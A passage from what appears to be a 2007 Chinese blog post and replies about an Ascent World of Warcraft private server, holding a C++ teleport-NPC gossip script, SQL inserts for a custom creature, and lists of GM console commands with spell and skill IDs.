player->ADD_GOSSIP_ITEM( 0, " ·[团] 风暴要塞 " , 7, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 奥金顿 " , 7, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 黑暗神庙 " , 7, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 赞格沼泽 " , 7, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 格鲁尔的巢穴 " , 7, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 黑色沼泽 " , 7, GOSSIP_ACTION_INFO_DEF + 11);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 盘牙洞穴 " , 7, GOSSIP_ACTION_INFO_DEF + 12);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 玛瑟里顿的巢穴 " , 7, GOSSIP_ACTION_INFO_DEF + 13);
player->SEND_GOSSIP_MENU(99994,_Creature->GetGUID());
break;
// 外域副本2
case GOSSIP_ACTION_INFO_DEF + 10 :
player->ADD_GOSSIP_ITEM( 0, " ·[团] 破碎大厅 " , 10, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 血熔炉 " , 10, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 波塔尼卡 " , 10, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 亚克崔兹 " , 10, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 麦克那尔 " , 10, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 凤凰大厅 " , 10, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 奴隶监狱 " , 10, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 蒸汽洞窟 " , 10, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " ·[团] 毒牙沼泽 " , 10, GOSSIP_ACTION_INFO_DEF + 9);
player->SEND_GOSSIP_MENU(99994,_Creature->GetGUID());
break;
// 外域
case GOSSIP_ACTION_INFO_DEF + 9 :
player->ADD_GOSSIP_ITEM( 0, " ·黑暗之门 " , 11, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " ·永歌森林 " , 11, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " ·艾克索达 " , 11, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " ·海加尔山 " , 11, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " ·青草平原 " , 11, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " ·翠叶森林 " , 11, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " ·沙塔斯城 " , 11, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " ·哈兰 " , 11, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " ·风暴尖塔 " , 11, GOSSIP_ACTION_INFO_DEF + 9);
player->SEND_GOSSIP_MENU(99994,_Creature->GetGUID());
break;
// 野外BOSS
case GOSSIP_ACTION_INFO_DEF + 11 :
player->ADD_GOSSIP_ITEM( 0, " 暮色森林 " , 12, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 辛特兰 " , 12, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 灰谷 " , 12, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 艾萨拉 " , 12, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " 菲拉斯 " , 12, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " 诅咒之地 " , 12, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " 水晶谷 " , 12, GOSSIP_ACTION_INFO_DEF + 7);
player->SEND_GOSSIP_MENU(99991,_Creature->GetGUID());
break;
}
return true;
}
bool GossipSelect_sc_teleport(Player *player, Creature *_Creature, uint32 sender, uint32 action )
{
switch(sender) {
// 主选单
case 1 :
SendDefaultMenu_sc_Teleport(player, _Creature, action);
break;
// 各大主城
case 2 :
switch(action) {
// 暴风城 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(0,-9065,434,94,0);
break;
// 铁炉堡
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(0,-5032,-819,495,0);
break;
// 达纳苏斯
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(1,9961,2055,1329,0);
break;
// 埃索达
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(530,-4071.7,-12036.7,-1.5,0);
break;
// 奥格瑞玛
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(1,1317,-4383,27,0);
break;
// 雷霆崖
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(1,-1391,140,23,0);
break;
// 幽暗城
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(0,1909,235,53,0);
break;
// 棘齿城 */
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(1,-977,-3788,6,0);
break;
// 银月城
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(530,9336.9,-7278.4,13.6,0);
break;
// 藏宝海湾
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(0,-14302,518,9,0);
break;
// 藏宝海湾
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(0,-14302,518,9,0);
break;
// 加基森
case GOSSIP_ACTION_INFO_DEF + 11 :
player->TeleportTo(1,-7103.7,-2961.6,10.8,0);
break;
// 塞纳里奥要塞
case GOSSIP_ACTION_INFO_DEF + 12 :
player->TeleportTo(1,-6831.1,748.8,42.5,0);
break;
}
break;
// 初级副本
case 3 :
switch(action) {
// ·[14] 怒焰裂谷 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(389,2.024650,-10.021000,-16.187500,0);
break;
// ·[19] 死亡矿井
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(36,-16.4,-383.07,61.78,0);
break;
// ·[22] 哀嚎洞
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(43,-161.841995,133.266998,-73.866203,0);
break;
// ·[24] 影牙城堡
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(33,-228.19,2110.56,76.89,0);
break;
// ·[26] 黑暗深渊
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(48,-150.367004,102.995003,-40.555801,0);
break;
// ·[27] 暴风城监狱
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(34,48.29,0.45,-16.14,0);
break;
// ·[31] 剃刀沼泽
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(47,1943,1544,82,0);
break;
// ·[33] 诺莫瑞根
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(90,-332.562988,-3.445,-152.845993,0);
break;
// ·[40] 血色修道院
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(189,855.903992,1321.939941,18.673000,0);
break;
// ·[42] 剃刀高地
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(129,2593.209961,1109.459961,51.093300,0);
break;
// ·[45] 奥达曼
case GOSSIP_ACTION_INFO_DEF + 11 :
player->TeleportTo(70,-227.529007,45.009800,-46.019600,0);
break;
}
break;
// 中级副本
case 4:
switch(action) {
// ·[46] 祖尔法拉克 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(209,1213,841,8.9,0);
break;
// ·[49] 玛拉顿
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(349,1012.700012,-459.317993,-43.547100,0);
break;
// ·[53] 失落的神庙
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(109,-313.369995,99.955399,-131.848999,0);
break;
// ·[57] 黑石深渊
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(230,456.928986,34.927700,-69.388100,0);
break;
// ·[60] 通灵学院
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(289,199,126,135,0);
break;
// ·[60] 厄运之槌 (北区)
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(429,255.164001,-17.024200,-2.560600,0);
break;
// ·[60] 厄运之槌 (东区)
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(429,46.24,-155.53,-2.71349,0);
break;
// ·[60] 厄运之槌 (西区)
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(429,32.722599,159.417007,-3.470170,0);
break;
// ·[60] 斯坦索姆
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(329,3392,-3379,143,0);
break;
// ·[60] 黑石塔下
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(229,78.19,-227.63,49.72,0);
break;
}
break;
// 高级副本
case 5:
uint32 price_flags3;
price_flags3 = 300000; //收30G的钱
if (player->GetMoney() >= price_flags3)
{
switch(action) {
// ·[团] 溶火之心 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(409,1089.601685,-470.190247,-106.413055,0);
break;
// ·[团] 黑石塔上
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(229,78.339836,-227.793518,49.7103,0);
break;
// ·[团] 祖尔格拉布
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(309,-11916,-1251.469971,92.32,0);
break;
// ·[团] 黑翼之巢
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(469,-7674.470215,-1108.380005,396.649994,0);
break;
// ·[团] 安其拉
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(531,-8212.002930,2034.474854,129.141342,0);
break;
// ·[团] 安其拉废墟
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(509,-8443.475586,1518.648560,31.906958,0);
break;
// ·[团] 奥妮克希亚的巢
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(249,30.010290,-58.840508,-5.325367,0);
break;
//·[团] 纳克萨玛斯
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(533,3005.87,-3435.01,293.882,0);
break;
// ·[团] 冰龙巢
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(533,3700.35,-5185.92,143.957,4.403038,0);
break;
}
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID())
break;
//外域副本 1
case 7:
uint32 price_flags1;
price_flags1 = 500000; //收50G的钱
if (player->GetMoney() >= price_flags1)
{
switch(action) {
// 暴风城超级监狱 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(0,-8644.160156,595.669983,95.699997,0);
break;
// 卡拉赞
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(532, -11107.950195, -2002.060059, 49.889999, 0);
break;
// 遗忘之井
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(0, -11068.07313, -1811.069946, 52.820000, 0);
break;
// 鬼魂之地
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(530, 6851.197266, -7993.672852, 192.292496, 0);
break;
// 地狱火堡垒
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(543, -1355.817261, 1646.834595, 68.447365, 0);
break;
// 风暴要塞
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(530, 3087.556885, 1387.229980, 185.037415,0);
break;
// 奥金顿
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(555, 2.164014, 0.402381, -1.127880, 0);
break;
// 黑暗神庙
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(530, -3562.800049, 247.600006, 42.896927, 0);
break;
// 赞格沼泽
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(530, 919.007629, 6854.861816, -66.432899, 0);
break;
// 戈鲁尔之巢
case GOSSIP_ACTION_INFO_DEF + 10 :
player->TeleportTo(530, 3543.437012, 5079.009766, 0.952552, 0);
break;
// 黑色沼泽
case GOSSIP_ACTION_INFO_DEF + 11 :
player->TeleportTo(269, -2095.298584, 7125.536133, 34.588596, 0);
break;
// 盘牙洞穴
case GOSSIP_ACTION_INFO_DEF + 12 :
player->TeleportTo(548, 29.142296, -57.074600, -71.733269, 0);
break;
// 玛瑟里顿的巢穴
case GOSSIP_ACTION_INFO_DEF + 13 :
player->TeleportTo(544, 188.414261, 29.327892, 67.934464, 0);
break;
}
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID())
break;
//开飞行点
case 6:
uint32 price_flags;
price_flags = 300000; //收30G的钱
if (player->GetMoney() >= price_flags)
{
player->ModifyMoney(-int32(price_flags));
for (uint8 i=0; i<8; i++)
{ player->SetTaximask(i, 0xFFFFFFFF); }
player->SEND_GOSSIP_MENU(99998,_Item->GetGUID());
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID());
break;
//外域副本 2
case 10 :
uint32 price_flags2;
price_flags2 = 500000; //收50G的钱
if (player->GetMoney() >= price_flags2)
{
switch(action) {
// 破碎大厅 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(540, -41.000000, -22.000000, -14.000000, 0);
break;
// 血熔炉
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(542, -3.000000, 11.000000, -45.000000, 0);
break;
// 波塔尼卡
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(553, 40.000000, -28.600000, -1.100000,0);
break;
// 亚克崔兹
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(552, -1.200000, 0.000000, -0.200000, 0);
break;
// 麦克那尔
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(554, -28.900000, 0.700000, -1.800000, 0);
break;
// 凤凰大厅
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(550, -6.800000, -0.900000, -2.400000, 0);
break;
// 奴隶监狱
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(547, 123.146225, -122.687210, -0.446336, 0);
break;
// 蒸汽洞窟
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(545, -7.500000, 5.900000, -4.300000, 0);
break;
// 毒牙沼泽
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(546, 14.913731, -19.914341, -2.755679, 0);
break;
}
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID())
break;
//银行
case 8 :
player->GetSession()->SendShowBank( player->GetGUID() );
break;
//工资
case 9 :
if(player->GetLevelPlayedTime() > 3600) // 条件检查你在线时间大于60秒.这可以自己改
{
player->ModifyMoney(int32(100000)); //满足条件获得10金币
player->SetInGameTime(uint32(NULL)); //将在玩家线时间归零
}
else
{
player->SEND_GOSSIP_MENU(199990,_Item->GetGUID());
}
break;
//外域
case 11 :
uint32 price_flags4;
price_flags4 = 50000; //收5G的钱
if (player->GetMoney() >= price_flags4)
{
switch(action) {
// 黑暗之门 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(530,-246.600006,946.000000,84.400002,0);
break;
// 永歌森林
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(530,9336.900391,-7278.399902,13.600000,0);
break;
// 艾克索达
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(530,-4043.632813,-11933.284180,-0.057945,0);
break;
// 海加尔山
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(534,5070.084473,-1791.984497,1320.995483,0);
break;
// 青草平原
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(169,-2674.500000,-2275.800049,148.092743,0);
break;
// 翠叶森林
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(169,2737.508057,-3318.579590,101.882820,0);
break;
// 沙塔斯城
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(530,-1889,5433,-11,0);
break;
// 哈兰
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(530,-1567,7959,-21,0);
break;
// 风暴尖塔
case GOSSIP_ACTION_INFO_DEF + 9 :
player->TeleportTo(530,4151,3041,339,0);
break;
}
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID())
break;
//外域
case 12 :
uint32 price_flags4;
price_flags4 = 100000; //收10G的钱
if (player->GetMoney() >= price_flags4)
{
switch(action) {
// 暮色森林 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(0,-10526.168945,-434.996796,50.894821,0);
break;
// 辛特兰
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(0,759.605713,-3893.341309,116.475304,0);
break;
// 灰谷
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(1,3120.289307,-3439.444336,139.566345,1);
break;
// 艾萨拉
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(1,2622.219971,-5977.930176,100.562897,1);
break;
// 菲拉斯
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(1,-2741.290039,2009.481323,31.877323,1);
break;
// 诅咒之地
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(0,-12234.000000,-2474.000000,-3.000000,0);
break;
//水晶谷
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(1,-6292.463379,1578.029053,0.155348,1);
break;
}
}
else player->SEND_GOSSIP_MENU(99997,_Item->GetGUID())
break;
}
player->CLOSE_GOSSIP_MENU();
return true;
}
void AddSC_sc_teleport()
{
Script *newscript;
newscript = new Script;
newscript->Name="teleport";
newscript->pGossipHello = &GossipHello_sc_teleport;
newscript->pGossipSelect = &GossipSelect_sc_teleport;
m_scripts[nrscripts++] = newscript;
}
re: ascent wow 聂文龙 2007-08-24 03:37
--select count(*) from creature_proto;
--select max(entry) from creature_proto;
/*INSERT INTO creature_proto
(entry, minlevel, faction, minhealth, mana, scale, npcflags, attacktime, mindamage, maxdamage, rangedattacktime, rangedmindamage, rangedmaxdamage, mountdisplayid, item1slotdisplay, item1info1, item1info2, item2slotdisplay, item2info1, item2info2, item3slotdisplay, item3info1, item3info2, respawntime, resistance0_armor, resistance1, resistance2, resistance3, resistance4, resistance5, resistance6, combat_reach, bounding_radius, auras, boss, money)
VALUES
(100006, 73, 474, 9999999, 999999, 1, 16388, 500, 1500, 3000, 2000, 2000, 2500, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, "0", 1, 0);
*/
INSERT INTO creature_proto(entry, minlevel, faction, minhealth, mana, scale, npcflags, attacktime, mindamage, maxdamage, rangedattacktime, rangedmindamage, rangedmaxdamage, mountdisplayid, item1slotdisplay, item1info1, item1info2, item2slotdisplay, item2info1, item2info2, item3slotdisplay, item3info1, item3info2, respawntime, resistance0_armor, resistance1, resistance2, resistance3, resistance4, resistance5, resistance6, combat_reach, bounding_radius, auras, boss, money) VALUES
(999999,250,1080,9000000,5000,1,65,1000,50000,55000,0,1000,5000,0,0,0,0,0,0,0,0,0,0,2000,0,0,0,0,0,0,0,2,0.5,"1",1,0);
re: ascent wow 聂文龙 2007-08-24 03:23
INSERT INTO `creature_names` VALUES
(999999,'直升飞机','直升飞机',0,0,0,3,0,0,14946,1,1,1,0);
INSERT INTO `creature_proto` VALUES
(999999,250,1080,9000000,5000,1,65,1000,50000,55000,0,1000,5000,0,0,0,0,0,0,0,0,0,0,2000,0,0,0,0,0,0,0,2,0.5,1,1,0);
re: ascent wow 聂文龙 2007-08-24 00:37
.learn all GM学习所有技能
::::::::::::::: 商业技能 ::::::::::::::::::
165 制皮
202 工程学
333 附魔
186 采矿
393 剥皮
164 锻造
197 裁缝
171 炼金术
182 草药学
::::::::::::::: 辅助技能 ::::::::::::::::::
365 钓鱼
129 急救
185 烹饪
95 防御
:::::::::: ::::商业技能熟练 ::::::::::::::::
.learnsk 333 300 附魔
.learnsk 186 300 采矿
.learnsk 171 300 炼金
.learnsk 164 300 锻造
.learnsk 197 300 裁缝
.learnsk 185 300 烹饪
.learnsk 165 300 制皮
.learnsk 356 300 钓鱼
.learnsk 202 300 工程
.learnsk 393 300 剥皮
.learnsk 182 300 草药
=============================================
.learn 20597 // 剑类武器精通
.learn 20864 // 锤类武器精通
.learn 20595 // 枪械专精
.learn 20593 // 工程学专精
.learn 20558 // 投掷精通
.learn 9078 // 布甲
.learn 9077 // 皮甲
.learn 8737 // 锁甲
.learn 750 //板甲
.learn 196 // 单手斧
.learn 197 // 双手斧
.learn 264 // 弓
.learn 7919 // 弩
.learn 198 // 锤
.learn 199 // 双手锤
.learn 1180 // 匕首
.learn 2567 // 投掷
.learn 5009 // 魔杖
.learn 227 //法仗
.learn 201 // 剑
.learn 202 // 双手剑
.learn 203 // 徒手
.learn 266 // 枪械
.learn 9116 // 盾牌
加熟练.learnsk 代码 300
学好了.maxskill技能熟练度就全满了
============================================
.learnsk 98 300 //通用语 (人类)
.learn 668 // 通用语 (人类)
.learnsk 109 300 //兽人语
.learn 669 // 兽人语
.learnsk 315 300 // 巨魔语
.learn 7341 // 巨魔语
.learnsk 111 300 // 矮人语
.learn 672 // 矮人语
.learnsk 113 300 // 达纳苏斯语(精灵)
.learn 671 // 达纳苏斯语(精灵)
.learnsk 673 300 // 亡灵语
.learn 17737 // 亡灵语
.learnsk 115 300 // 牛头人语
.learn 670 // 牛头人语
============================================
.learn 824 // 骑术:马
.learnsk 148 // 骑术:马
.learn 825 // 骑术:狼
.learnsk 149 // 骑术:狼
.learn 826 // 骑术:羊
.learnsk 152 // 骑术:羊
.learn 828 // 骑术:虎
.learnsk 150 // 骑术:虎
.learn 10861 // 骑术:迅猛龙
.learnsk 533 // 骑术:迅猛龙
.learn 10906 // 骑术:骸骨战马
.learnsk 554 // 骑术:骸骨战马
.learn 10908 //骑术:机械陆行鸟
.learnsk 553 //骑术:机械陆行鸟
.learn 18992 // 骑术:科多兽
.learnsk 713 // 骑术:科多兽
.learn 23214 //QS60任务马
==================================================================
可以直接学的骑马技能,就像骑士的60级战马召唤一样,直接召唤就好了。
============宠物==================================================
.Learn 10695 召唤黑龙宝宝 \
.Learn 10697 召唤红龙宝宝\
.Learn 10698 召唤绿龙宝宝 \
.Learn 10703 召唤林蛙\
.Learn 10704 召唤树蛙 \
.Learn 10706 召唤黑色猫头鹰\
.Learn 10707 召唤棕色猫头鹰 \
.Learn 10709 召唤土拨鼠\
.Learn 10711 召唤黄纹兔\
.Learn 10712 召唤斑点兔 \
.Learn 10714 召唤黑色王蛇 \
.Learn 10716 召唤棕色蟒蛇\
.Learn 10717 召唤赤练蛇 \
.Learn 10718 召唤绿色水蛇\
.Learn 10719 召唤赤环蛇 \
.Learn 10720 召唤血纹蛇 \
.Learn 12243 召唤机械小鸡 \
.Learn 15067 召唤精龙宝宝\
================================
============坐骑================
.additem 21321~21323~21324 其拉共鸣水晶(红、黄、绿三色坦克)
.Learn 17481 60 瑞文戴尔男爵的坐骑
.Learn 16055 60 夜刃豹
.Learn 16056 60 霜刃豹
.Learn 23338 60 迅捷雷刃豹
.Learn 23219 60 迅捷雾刃豹
.Learn 23221 60 迅捷霜刃豹
.Learn 23228 60 迅捷白马
.Learn 23238 60 迅捷棕羊
.Learn 23239 60 迅捷灰羊
.Learn 17450 60 白色迅猛龙
.Learn 23241 60 迅捷蓝色迅猛龙
.Learn 23242 60 迅捷紫色迅猛龙
.Learn 23243 60 迅捷橙色迅猛龙
.learn 23214 60 召唤军马 圣骑
.Learn 17465 60 绿色骸骨战马\
.Learn 18991 60 绿色科多兽\
.Learn 17460 60 霜山羊\
.Learn 17461 60 黑山羊\
.Learn 18992 60 蓝色科多兽\
.Learn 22717 60 黑色战驹\
.Learn 22718 60 黑色作战科多兽\
.Learn 22719 60 黑色作战机械陆行鸟\
.Learn 22720 60 白色战羊\
.Learn 22721 60 黑色作战迅猛龙\
.Learn 22722 60 红色骷髅战马\
.Learn 22723 60 黑色战豹\
.Learn 579 60 赤狼\
.Learn 22724 60 黑色战狼\
.Learn 16083 60 白马\
.Learn 17229 60 冬泉霜刃豹\
.Learn 15779 60 白色机械陆行鸟
============================================================
GM技能
============================================================
.Learn 5 死亡之触 相当于. kill一点怪就死
.Learn 7 自杀 最好别用 除非卡机了非死不行
.Learn 65 加速术加2% 持续30秒
.Learn 91 野蛮突击 需要双手斧
.Learn 9999 赞吉尔之触 有效果 无实际用处
.Learn 3300 厚重战斧 需要双手斧
.Learn 17549 防奥术+3000
.Learn 17548 防暗影+3000
.Learn 17546 防自然+3000
.Learn 17545 防圣+3000
.Learn 17543 防火+3000
.Learn 17544 防冰+3000
.Learn 21139 吐息 2万多攻击 黑龙公主的绝招 建议少用
.Learn 22981 暗影烈炎700多攻击 不错的远程攻击
.Learn 5106 水晶闪耀 可令一群怪15秒晕厥 很厉害的一招
.Learn 5110 召唤火元素
.Learn 5115 给所有人+50速度
.Learn 5140 自爆 慎用哦
.Learn 1112 暗影心星
.Learn 5219 西斯耐特吸血术 有效果 无作用
.Learn 5220 疯狂的守财奴隶卡波尔+50速度
.Learn 5239 法师打断技能 法术系必用
.Learn 5257 雷霆啤酒
.Learn 5262 狂热之刃
.Learn 5426 快速回避
.Learn 5708 飞扑 战士必用 +18点攻击 并可以击倒对方
.Learn 6612 +20~40怒气
.Learn 23168 龙血之痛 红 +15000血
.Learn 23169 龙血之痛 绿 250点持续伤害
.Learn 23187 冰霜燃烧 1800~2000攻击 很厉害
.Learn 23205 诱惑之吻
.Learn 23220 +100%速度
.Learn 23224 暗影迷雾 降低治疗
.Learn 23271 短暂强力 +175法术攻击和治疗效果
.Learn 23275 585~610攻击 恐惧惊吓
.Learn 23278 暗影镰刀 效果好看 但不实用
.Learn 23308 焚烧 4000~4500攻击
.Learn 23315 点燃躯体 多次攻击群杀 490~560 建议别用 自己也很危险
.Learn 23333 BL旗子
.Learn 23335 LM旗子
.Learn 23342 疯狂+150攻击速度和打怪带冲击波效果
.Learn 23339 龙翼打击 500~900攻击
.Learn 22994 根须缠绕
.Learn 22993 暗影烈炎
.Learn 22988 伊利丹之怒 让对方远程攻击-1500点+20%致命30%攻击速度
.Learn 22948 孢子之云 540攻击
.Learn 22946 落雷之云 半人马法师的招数 不厉害
.Learn 22888 屠龙者的咆哮 法术致命多10% 近战致命5%+140点攻击
.Learn 22886 狂暴冲锋 伤害300点连续点技能攻击速度飞快 效果不好
.Learn 22876 召唤虚无形者
.Learn 22864 召唤末日守卫
.Learn 22863 速度30秒速度+30%
.Learn 22859 致死厮劈 战士用 +150%伤害
.Learn 22857 反击风暴 反击一切近身攻击
.Learn 22856 寒冰锁 可以把怪锁在原地
.Learn 22833 打击率 +75%
.Learn 22818 +15耐力
.Learn 23415 强化保护祝福 免疫物理伤害 有蓝的职业才能用
.Learn 23416 枕头大战 无效果
.Learn 23417 窒息 200~210攻击
.Learn 23418 西虹祝福 无效果
.Learn 23442 永望镇传诵 好看无效果
.Learn 23445 邪恶双子 貌似无用
.Learn 23449 传送器着火 好玩 无效果
.Learn 23452 隐形2分种
.Learn 23461 3500~4500群杀伤害
.Learn 23478 5000~6500群杀攻击
.Learn 23506 吸收700~1250点物理伤害
.Learn 23512 火球连射 连续点技能攻击速度飞快
.Learn 23513 红龙精华 每秒恢复500点法力50点能力20点怒气
.Learn 23559 变形
.Learn 23566 强化箭雨和多重射击
.Learn 23580 血牙
.learn 17547 致死打击 战士必用 武器伤害+200%
.Learn 23964 血怒者的挽歌 增益法术
.Learn 23952 暗言术:痛 牧师法术 必须有蓝职业才能用
.Learn 23948 真言术 韧 牧师法术 必须有蓝职业才能用
.Learn 23931 雷霆一击 战士用比较好 有减速和伤害效果
.Learn 23858 神圣新星 类似奥爆 群杀1000多攻
.Learn 19703 鲁西弗隆的诅咒 BOSS的技能啦
.Learn 23967 灭龙 对龙类伤害+400% 建议下BWL时候用
.Learn 23965 立刻治疗 恢复10000+的血 骑士技能
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
节日人物模型编号以及其他\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
.morph 改变玩家外形
.demorph 改变人物回缺省外形
15744 人类狂欢者[男]
15745 人类狂欢者[女]
15746 侏儒狂欢者[男]
15747 侏儒狂欢者[女]
15748 暗夜精灵狂欢者[女]
15749 巨魔狂欢者[女]
15750 地精狂欢者[男]
15751 兽人狂欢者[女]
15752 地精狂欢者[女]
15753 亡灵狂欢者[女]
15754 牛头人狂欢者[女]
15755 亡灵狂欢者[男]
